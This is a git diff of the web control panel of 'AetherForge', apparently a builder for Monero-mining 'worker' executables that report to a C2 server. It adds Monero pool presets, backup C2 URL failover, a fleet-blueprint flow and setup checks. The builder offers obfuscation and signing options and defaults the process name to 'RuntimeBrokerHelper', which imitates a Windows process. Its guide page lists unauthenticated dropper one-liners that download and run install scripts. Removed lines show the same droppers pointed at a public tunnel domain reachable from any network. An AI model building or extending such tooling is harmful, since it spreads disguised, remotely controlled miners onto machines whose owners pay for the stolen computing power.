import type { BuildRequest, ServerConfig, ServerInfo } from '../types';
/** Baked Cloudflare tunnel — used when Calibrate public_url is blank. */
export const DEFAULT_PUBLIC_TUNNEL = 'https://killa.thetempleofdoom.com';
/** Defaults for a new forge build — not stored in Calibrate. */
export const FORGE_BUILD_DEFAULTS: Omit<
BuildRequest,
@@ -65,12 +62,18 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
return {
...FORGE_BUILD_DEFAULTS,
worker_name: '',
server_url: publicUrl || DEFAULT_PUBLIC_TUNNEL || serverInfo.suggested_url,
server_url: publicUrl || serverInfo.suggested_url || '',
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({
host: bp.host,
port: bp.port,
tls: bp.use_tls,
pass: config.pool.password || 'x',
})),
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
};

View File

@@ -23,4 +23,18 @@ describe('forgeSmartDefaults', () => {
expect(form.server_url).toBe('http://10.0.0.2:8989');
expect(form.mining_mode).toBe('idle');
});
it('fills backup C2 URLs from other LAN candidates', () => {
const form = applySmartForgeDefaults(
{ worker_name: 'w1', server_url: 'http://192.168.1.5:8989' } as BuildRequest,
{
endpointCandidates: [
'http://192.168.1.5:8989',
'http://10.0.0.2:8989',
'http://10.0.0.2:8989',
],
}
);
expect(form.backup_server_urls).toEqual(['http://10.0.0.2:8989']);
});
});

View File

@@ -14,11 +14,25 @@ export function suggestWorkerName(existing: BuildRecord[]): string {
return `worker-${Date.now().toString(36)}`;
}
function sanitizeProcessName(workerName: string): string {
export function processNameForWorker(workerName: string): string {
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
return cleaned || 'RuntimeBrokerHelper';
}
function backupServerUrlsFromLan(primary: string, candidates: string[]): string[] {
const norm = (u: string) => u.trim().replace(/\/+$/, '');
const primaryNorm = norm(primary);
const seen = new Set<string>();
const out: string[] = [];
for (const c of candidates) {
const n = norm(c);
if (!n || n === primaryNorm || seen.has(n)) continue;
seen.add(n);
out.push(c.trim());
}
return out;
}
function isGoodServerUrl(url: string): boolean {
try {
const u = new URL(url.trim());
@@ -89,18 +103,23 @@ export function applySmartForgeDefaults(
const preset = recommendedForgePreset();
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
const lanBackups =
form.backup_server_urls?.length
? form.backup_server_urls
: backupServerUrlsFromLan(serverUrl, ctx.endpointCandidates ?? []);
return {
...form,
...preset,
worker_name: worker,
server_url: serverUrl,
backup_server_urls: lanBackups,
wallet: form.wallet?.trim() || form.wallet,
pool_host: form.pool_host || preset.pool_host!,
pool_port: form.pool_port || preset.pool_port!,
pool_tls: form.pool_tls ?? preset.pool_tls!,
pool_pass: form.pool_pass || preset.pool_pass!,
process_name: sanitizeProcessName(worker),
process_name: processNameForWorker(worker),
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
sign_build: form.sign_build ?? preset.sign_build ?? false,
};
@@ -123,6 +142,12 @@ export function forgeDefaultsFromServerSmart(
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password || 'x',
backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({
host: bp.host,
port: bp.port,
tls: bp.use_tls,
pass: config.pool.password || 'x',
})),
obfuscate: srv?.obfuscate_default ?? false,
sign_build: srv?.sign_enabled ?? false,
} as BuildRequest;

View File

@@ -30,7 +30,7 @@ function isReachableServerUrl(url: string): boolean {
}
}
function looksLikeXMRWallet(addr: string): boolean {
export function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);

View File

@@ -0,0 +1,40 @@
import { describe, it, expect } from 'vitest';
import {
orderedPoolsFromSelection,
detectPresetIds,
applyPoolsToForgeFields,
DEFAULT_PRESET_IDS,
} from './poolPresets';
describe('poolPresets', () => {
it('builds ordered failover list from preset ids', () => {
const pools = orderedPoolsFromSelection([...DEFAULT_PRESET_IDS], 'x');
expect(pools).toHaveLength(3);
expect(pools[0].host).toBe('pool.supportxmr.com');
expect(pools[1].host).toBe('gulf.moneroocean.stream');
expect(pools[2].host).toBe('xmr.herominers.com');
});
it('dedupes duplicate preset picks', () => {
const pools = orderedPoolsFromSelection(['supportxmr-tls', 'supportxmr-tls'], 'x');
expect(pools).toHaveLength(1);
});
it('detects preset ids from primary and backups', () => {
const ids = detectPresetIds('pool.supportxmr.com', 443, true, [
{ host: 'gulf.moneroocean.stream', port: 20128, tls: true },
]);
expect(ids).toContain('supportxmr-tls');
expect(ids).toContain('moneroocean-tls');
});
it('maps pools to forge primary and backup fields', () => {
const fields = applyPoolsToForgeFields(
orderedPoolsFromSelection(['2miners', 'xmrpool'], 'pw')
);
expect(fields.pool_host).toBe('xmr.2miners.com');
expect(fields.pool_port).toBe(2222);
expect(fields.backup_pools).toHaveLength(1);
expect(fields.backup_pools![0].host).toBe('pool.xmrpool.eu');
});
});

View File

@@ -0,0 +1,182 @@
import type { BackupPool } from '../types';
/** One connectable Stratum endpoint (wallet-only Monero pools). */
export interface PoolPreset {
id: string;
provider: string;
host: string;
port: number;
tls: boolean;
hint: string;
}
/** Western-US friendly presets — TLS variant preferred per provider. */
export const XMR_POOL_PRESETS: PoolPreset[] = [
{
id: 'moneroocean-tls',
provider: 'MoneroOcean',
host: 'gulf.moneroocean.stream',
port: 20128,
tls: true,
hint: 'gulf TLS :20128',
},
{
id: 'moneroocean',
provider: 'MoneroOcean',
host: 'gulf.moneroocean.stream',
port: 10128,
tls: false,
hint: 'gulf plain :10128',
},
{
id: 'supportxmr-tls',
provider: 'SupportXMR',
host: 'pool.supportxmr.com',
port: 443,
tls: true,
hint: ':443 TLS',
},
{
id: 'supportxmr',
provider: 'SupportXMR',
host: 'pool.supportxmr.com',
port: 3333,
tls: false,
hint: ':3333',
},
{
id: 'herominers-tls',
provider: 'HeroMiners',
host: 'xmr.herominers.com',
port: 1120,
tls: true,
hint: ':1120 TLS',
},
{
id: 'herominers',
provider: 'HeroMiners',
host: 'xmr.herominers.com',
port: 1111,
tls: false,
hint: ':1111',
},
{
id: '2miners',
provider: '2Miners',
host: 'xmr.2miners.com',
port: 2222,
tls: false,
hint: ':2222',
},
{
id: 'xmrpool',
provider: 'XMRPool.eu',
host: 'pool.xmrpool.eu',
port: 3333,
tls: false,
hint: ':3333',
},
];
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
function endpointKey(host: string, port: number, tls: boolean): string {
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
}
export function presetToBackupPool(p: PoolPreset, pass = 'x'): BackupPool {
return { host: p.host, port: p.port, tls: p.tls, pass };
}
/** Ordered endpoints: first = primary, rest = failover (round-robin on reconnect). */
export function orderedPoolsFromSelection(
presetIds: string[],
pass: string,
custom?: BackupPool | null
): BackupPool[] {
const out: BackupPool[] = [];
const seen = new Set<string>();
for (const id of presetIds) {
const preset = XMR_POOL_PRESETS.find((p) => p.id === id);
if (!preset) continue;
const key = endpointKey(preset.host, preset.port, preset.tls);
if (seen.has(key)) continue;
seen.add(key);
out.push(presetToBackupPool(preset, pass));
}
if (custom?.host?.trim() && custom.port > 0) {
const key = endpointKey(custom.host, custom.port, !!custom.tls);
if (!seen.has(key)) {
out.push({
host: custom.host.trim(),
port: custom.port,
tls: !!custom.tls,
pass: custom.pass || pass || 'x',
});
}
}
return out;
}
export function splitPrimaryAndBackups(pools: BackupPool[]): {
primary: BackupPool | null;
backups: BackupPool[];
} {
if (!pools.length) return { primary: null, backups: [] };
return { primary: pools[0], backups: pools.slice(1) };
}
export interface PoolForgeFields {
pool_host: string;
pool_port: number;
pool_tls: boolean;
backup_pools: BackupPool[];
}
export function applyPoolsToForgeFields(pools: BackupPool[]): PoolForgeFields {
const { primary, backups } = splitPrimaryAndBackups(pools);
if (!primary) {
return { pool_host: '', pool_port: 3333, pool_tls: false, backup_pools: [] };
}
return {
pool_host: primary.host,
pool_port: primary.port,
pool_tls: primary.tls,
backup_pools: backups ?? [],
};
}
/** Which preset IDs match the current primary + backup endpoints. */
export function detectPresetIds(
host: string,
port: number,
tls: boolean,
backups: BackupPool[] = []
): string[] {
const keys = new Set<string>();
keys.add(endpointKey(host, port, tls));
for (const b of backups) {
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
}
return XMR_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
}
/** Custom endpoint if it does not match any preset. */
export function detectCustomEndpoint(
host: string,
port: number,
tls: boolean,
backups: BackupPool[] = []
): BackupPool | null {
const all = [{ host, port, tls }, ...backups.map((b) => ({ host: b.host, port: b.port, tls: !!b.tls }))];
for (const ep of all) {
if (!ep.host?.trim() || ep.port <= 0) continue;
const matchesPreset = XMR_POOL_PRESETS.some(
(p) => endpointKey(p.host, p.port, p.tls) === endpointKey(ep.host, ep.port, ep.tls)
);
if (!matchesPreset) {
return { host: ep.host.trim(), port: ep.port, tls: ep.tls };
}
}
return null;
}

View File

@@ -0,0 +1,26 @@
import { describe, expect, it } from 'vitest';
import { getSetupStatus } from './setupStatus';
import { mockServerConfig } from '../test/fixtures';
describe('getSetupStatus', () => {
it('flags empty wallet and blank public URL', () => {
const status = getSetupStatus(
mockServerConfig({ wallet: { address: '' }, server: { public_url: '' } })
);
expect(status.needsCalibration).toBe(true);
expect(status.reasons.length).toBeGreaterThanOrEqual(2);
});
it('passes when wallet and LAN URL are set', () => {
const status = getSetupStatus(
mockServerConfig({
wallet: {
address:
'4' + 'A'.repeat(94),
},
server: { public_url: 'http://192.168.1.5:8989' },
})
);
expect(status.needsCalibration).toBe(false);
});
});

View File

@@ -0,0 +1,40 @@
import type { ServerConfig } from '../types';
import { looksLikeXMRWallet } from './forgeValidation';
export interface SetupStatus {
needsCalibration: boolean;
reasons: string[];
}
function isBlankOrLocalPublicUrl(url: string | undefined): boolean {
const u = (url ?? '').trim();
if (!u) return true;
try {
const host = new URL(u).hostname.toLowerCase();
return host === 'localhost' || host === '127.0.0.1' || host === '::1';
} catch {
return true;
}
}
/** True when wallet or LAN public URL still need Calibrate before forging. */
export function getSetupStatus(config: ServerConfig | null | undefined): SetupStatus {
if (!config) {
return { needsCalibration: true, reasons: ['Server configuration not loaded'] };
}
const reasons: string[] = [];
const wallet = config.wallet?.address?.trim() ?? '';
if (!wallet) {
reasons.push('Fleet payout wallet is empty');
} else if (!looksLikeXMRWallet(wallet)) {
reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)');
}
if (isBlankOrLocalPublicUrl(config.server?.public_url)) {
reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate');
}
return { needsCalibration: reasons.length > 0, reasons };
}
export function isSetupComplete(config: ServerConfig | null | undefined): boolean {
return !getSetupStatus(config).needsCalibration;
}

View File

@@ -59,6 +59,7 @@ describe('BuilderPage', () => {
});
afterEach(() => {
vi.unstubAllGlobals();
cleanup();
});
@@ -115,6 +116,34 @@ describe('BuilderPage', () => {
expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
});
it('offers forge-next-worker after a successful build', async () => {
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
await userEvent.setup().click(screen.getByRole('button', { name: 'Forge next worker' }));
expect(screen.queryByText('worker-1.exe')).not.toBeInTheDocument();
expect(screen.getByPlaceholderText(/office-pc-1/i)).toHaveValue('worker-2');
});
it('shows fleet blueprint save prompt after first successful forge', async () => {
const promptMock = vi.fn().mockReturnValue('fleet-default');
vi.stubGlobal('prompt', promptMock);
const saveSpy = vi.spyOn(api, 'saveBlueprint');
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
await userEvent.setup().click(screen.getByRole('button', { name: 'Save as fleet blueprint' }));
await waitFor(() => {
expect(promptMock).toHaveBeenCalledWith('Save this setup as a fleet blueprint:', 'fleet-default');
expect(saveSpy).toHaveBeenCalledWith('fleet-default', expect.any(Object));
});
});
it('blocks forge when preflight has errors (empty wallet)', async () => {
renderBuilder();
const wallet = await screen.findByDisplayValue(/^4A+/);

View File

@@ -5,7 +5,15 @@ import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
import {
forgeDefaultsFromServerSmart,
applySmartForgeDefaults,
RECOMMENDED_DEFAULTS_BLURB,
suggestWorkerName,
processNameForWorker,
} from '../help/forgeSmartDefaults';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
@@ -21,6 +29,7 @@ import {
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
@@ -121,7 +130,10 @@ export default function BuilderPage() {
const cancelTokenRef = useRef<string>('');
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const [listenPort, setListenPort] = useState(8989);
const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
const forgedThisSessionRef = useRef(false);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
@@ -197,6 +209,7 @@ export default function BuilderPage() {
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
.then(([config, info, builds]) => {
setCalibrateConfig(config);
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
const candidates = lanEndpointCandidates(info, config.port || info.port);
@@ -235,7 +248,40 @@ export default function BuilderPage() {
setStage('Build complete!', 100);
setLastBuild(result);
loadRecentBuilds();
// No auto-download — user downloads from the strip below or Build Manager page
if (!forgedThisSessionRef.current) {
forgedThisSessionRef.current = true;
setShowBlueprintOffer(true);
}
};
const handleForgeNextWorker = () => {
if (!form) return;
const name = suggestWorkerName([
...recentBuilds,
{ worker_name: form.worker_name } as BuildRecord,
]);
setForm({
...form,
worker_name: name,
process_name: processNameForWorker(name),
});
setLastBuild(null);
setError('');
};
const handleSaveFleetBlueprint = async () => {
if (!form) return;
const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
if (!name || !name.trim()) return;
setBlueprintMsg('');
try {
const result = await api.saveBlueprint(name.trim(), form);
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
setShowBlueprintOffer(false);
setTimeout(() => setBlueprintMsg(''), 4000);
} catch (err: unknown) {
setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
}
};
// Blueprint: save current form as a named blueprint
@@ -696,9 +742,11 @@ export default function BuilderPage() {
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
{/* Hidden file input for importing blueprint .json files */}
<input
type="file"
@@ -915,10 +963,11 @@ export default function BuilderPage() {
/>
<div className="form-group">
<div className="label-row">
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
<label htmlFor="forge-worker-name" className="label">Worker Name <HelpTip field="worker_name" /></label>
<ForgeFieldBadge meta={fieldMeta.worker_name} />
</div>
<input
id="forge-worker-name"
type="text"
className="input"
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
@@ -1035,6 +1084,39 @@ export default function BuilderPage() {
<FieldHint field="wallet" />
</div>
<div className="form-section">
<ForgeSectionHeader
title="Mining Pools"
badge="baked"
description="Wallet-only Monero pools — baked into the worker. Unreachable pools are skipped in order."
/>
<PoolPresetPicker
host={form.pool_host}
port={form.pool_port}
tls={form.pool_tls}
pass={form.pool_pass || 'x'}
backups={form.backup_pools}
showManualFields={!simpleMode}
onChange={(next) => {
updateField('pool_host', next.pool_host);
updateField('pool_port', next.pool_port);
updateField('pool_tls', next.pool_tls);
updateField('backup_pools', next.backup_pools);
}}
/>
<div className="form-group">
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
<input
type="text"
className="input"
placeholder="x"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
<p className="form-hint">Standard Monero pools use <code>x</code>.</p>
</div>
</div>
<div className="form-section">
<ForgeSectionHeader
title="Deliverable"
@@ -1156,119 +1238,6 @@ export default function BuilderPage() {
{!simpleMode && (
<>
<div className="form-section">
<ForgeSectionHeader
title="Pool Configuration"
badge="baked"
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
/>
<div className="form-group">
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
<input
type="text"
className="input"
value={form.pool_host}
onChange={(e) => updateField('pool_host', e.target.value)}
required
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port <HelpTip field="pool_port" /></label>
<input
type="number"
className="input"
min={1}
max={65535}
value={form.pool_port}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
/>
</div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.pool_tls}
onChange={(e) => updateField('pool_tls', e.target.checked)}
/>
<span>Use TLS/SSL <HelpTip field="pool_tls" /></span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
<input
type="text"
className="input"
placeholder="x"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
<p className="form-hint">Standard Monero pools use <code>x</code> leave blank to use that default.</p>
</div>
{/* ── Backup pools (advanced) ──────────────────────────────── */}
{!simpleMode && (
<div className="form-group">
<label className="label">
Backup Pools
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
(failover if the primary pool is unreachable)
</span>
</label>
{(form.backup_pools ?? []).map((bp, i) => (
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
<input
type="text"
className="input mono"
placeholder="pool.supportxmr.com"
style={{ flex: '3 1 140px' }}
value={bp.host}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], host: e.target.value };
updateField('backup_pools', pools);
}}
/>
<input
type="number"
className="input"
placeholder="3333"
style={{ flex: '1 1 70px' }}
min={1} max={65535}
value={bp.port || ''}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
updateField('backup_pools', pools);
}}
/>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
<input type="checkbox" checked={!!bp.tls}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], tls: e.target.checked };
updateField('backup_pools', pools);
}} />
TLS
</label>
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
onClick={() => {
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
updateField('backup_pools', pools);
}}></button>
</div>
))}
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
+ Add backup pool
</button>
</div>
)}
</div>
<div className="form-section">
<ForgeSectionHeader
title="Performance & Resources"
@@ -2080,6 +2049,22 @@ export default function BuilderPage() {
</DownloadButton>
) : null
)}
<button
type="button"
className="btn btn-outline btn-sm"
onClick={handleForgeNextWorker}
>
Forge next worker
</button>
{showBlueprintOffer && (
<button
type="button"
className="btn btn-outline btn-sm"
onClick={handleSaveFleetBlueprint}
>
Save as fleet blueprint
</button>
)}
<button
type="button"
className="btn btn-outline btn-sm"

View File

@@ -2,7 +2,9 @@ import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react';
import { Link } from 'react-router-dom';
import type { Share } from '../types';
import type { Share, ServerConfig } from '../types';
import { getSetupStatus } from '../help/setupStatus';
import SetupBanner from '../components/SetupBanner';
import GaugeRing from '../components/Charts/GaugeRing';
import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
@@ -65,6 +67,7 @@ export default function DashboardPage() {
try { return localStorage.getItem('aether-dash-advanced') === '1'; } catch { return false; }
});
const [xmrPrice, setXmrPrice] = useState<number | null>(null);
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
const toggleAdvanced = () =>
setAdvancedMode((prev) => {
@@ -78,6 +81,7 @@ export default function DashboardPage() {
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
api.getConfig()
.then((cfg) => {
setCalibrateConfig(cfg);
const s = cfg.server?.dashboard_subtitle?.trim();
if (s) setSubtitle(s);
})
@@ -237,8 +241,11 @@ export default function DashboardPage() {
}
};
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
<AlertBanner alerts={alerts} />
{/* Fleet Health — always above the fold */}

View File

@@ -50,35 +50,24 @@ function StepCard({ step }: { step: CheatStep }) {
);
}
/** ASCII topology diagram — portable self-configuring setup */
/** ASCII topology diagram — home LAN control deck */
function TopologyDiagram() {
const lines = [
' ┌──────────────────────────────────────────────────────────────────────┐',
' │ USB / Portable Machine (any network) │',
' │ Control PC (USB portable or dev install) │',
' │ │',
' │ ┌──────────────────────────────────────────────────────────────┐ │',
' │ │ LAUNCH.bat │ │',
' │ │ │ │',
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
' │ │ LAUNCH.bat AetherForge.exe on 0.0.0.0:8989 │ │',
' │ │ Dashboard: http://localhost:8989 │ │',
' │ │ Calibrate: set LAN public URL + wallet + TLS pool presets │ │',
' │ └────────────────────────┬─────────────────────────────────────┘ │',
' │ │ localhost │',
' ┌─────────────┴──────────────┐ ',
' │ │ cloudflared named tunnel │ │',
' aetherforge-c2 │──────────────▶ CF Edge │',
' └─────────────────────────────┘ │ │',
' └────────────────────────────────────────────────────────────────────┘ ',
' ',
' https://killa.thetempleofdoom.com (permanent) │',
' │',
' ┌───────────────┬───────────────┐ │',
' ▼ ▼ ▼ │',
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
' any network any network any network',
' baked C2 URL baked C2 URL baked C2 URL',
' └────────────────────────────│─────────────────────────────────────────┘',
' LAN http://192.168.x.x:8989',
' ┌────────────────┼────────────────┐',
' ▼ ▼',
' [Worker PC] [Worker PC] [Worker PC]',
' forged agent forged agent forged agent',
' phones home phones home phones home',
];
return (
<div className="guide-topology">
@@ -116,31 +105,30 @@ export default function GuidePage() {
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> it does not need to know about Cloudflare.
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
Agents connect to the Cloudflare tunnel URL baked at Forge time.
AetherForge binds to <code className="mono-sm">0.0.0.0:8989</code>. You operate the dashboard at{' '}
<code className="mono-sm">http://localhost:8989</code> on the control PC; workers on your LAN use the
detected LAN URL baked at Forge time. Optional external tunneling can run on a separate machine later.
</p>
<TopologyDiagram />
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
<div className="guide-step-num">💡</div>
<div className="guide-step-body">
<h4>How it works on any machine</h4>
<h4>Home LAN setup</h4>
<ul className="guide-tips">
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
<li>Run <code className="mono-sm">LAUNCH.bat</code> (USB) or <code className="mono-sm">devrun.bat</code> (dev)</li>
<li>
<Link to="/settings" className="guide-link">Calibrate</Link> Use detected LAN Use best defaults Save
</li>
<li>Forge Control Endpoint: <code className="mono-sm">http://192.168.x.x:8989</code> (your LAN IP)</li>
<li>Backup C2 URLs auto-fill from other LAN IPs on the control host</li>
<li>First login: LAUNCH window or <code className="mono-sm">data\login-credentials.json</code></li>
<li>Optional: external tunnel on another machine can forward to this PC on port 8989</li>
</ul>
<CodeBlock code={`# One-time setup (any machine, done once):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
# After that — just run:
LAUNCH.bat`} />
<CodeBlock code={`# Typical flow:
LAUNCH.bat
# Browser: http://localhost:8989
# Calibrate public URL: http://192.168.1.50:8989
# Forge control endpoint: same LAN URL`} />
</div>
</div>
</NeonCard>
@@ -161,26 +149,27 @@ LAUNCH.bat`} />
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first replace the host with your
Calibrate LAN URL (or your optional external tunnel URL). Terminal closes automatically after the agent launches.
</p>
<div className="guide-dropper-grid">
<div className="guide-dropper-item">
<span className="guide-dropper-os">Windows</span>
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
<CodeBlock code={`iex (irm 'http://192.168.1.50:8989/install.ps1')`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Linux / macOS</span>
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
<CodeBlock code={`curl -sL http://192.168.1.50:8989/install.sh | bash`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Direct binary</span>
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
https://killa.thetempleofdoom.com/get?os=linux
https://killa.thetempleofdoom.com/get`} />
<CodeBlock code={`http://192.168.1.50:8989/get?os=windows
http://192.168.1.50:8989/get?os=linux
http://192.168.1.50:8989/get`} />
</div>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Workers must be on a network that can reach your LAN control URL.
</p>
</NeonCard>

View File

@@ -94,7 +94,7 @@ describe('SettingsPage (Calibrate)', () => {
expect(publicUrlInput.value).toBe('');
await userEvent.setup().click(screen.getByRole('button', { name: 'Use best defaults' }));
expect(
await screen.findByText('Best defaults applied to the form — click Save Calibration to keep them.')
await screen.findByText(/Best defaults applied.*Save Calibration/i)
).toBeInTheDocument();
expect(publicUrlInput.value).toBe(mockServerInfo.suggested_url);
});

View File

@@ -2,7 +2,15 @@ import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig } from '../types';
import {
DEFAULT_PRESET_IDS,
orderedPoolsFromSelection,
applyPoolsToForgeFields,
} from '../help/poolPresets';
import { looksLikeXMRWallet } from '../help/forgeValidation';
import { HelpTip, FieldHint } from '../components/HelpTip';
import PoolPresetPicker from '../components/PoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import './Pages.css';
@@ -89,6 +97,17 @@ export default function SettingsPage() {
const handleSave = async () => {
if (!config) return;
const wallet = config.wallet.address?.trim() ?? '';
if (wallet && !looksLikeXMRWallet(wallet)) {
const strict = config.server?.strict_wallet_validation ?? false;
if (strict) {
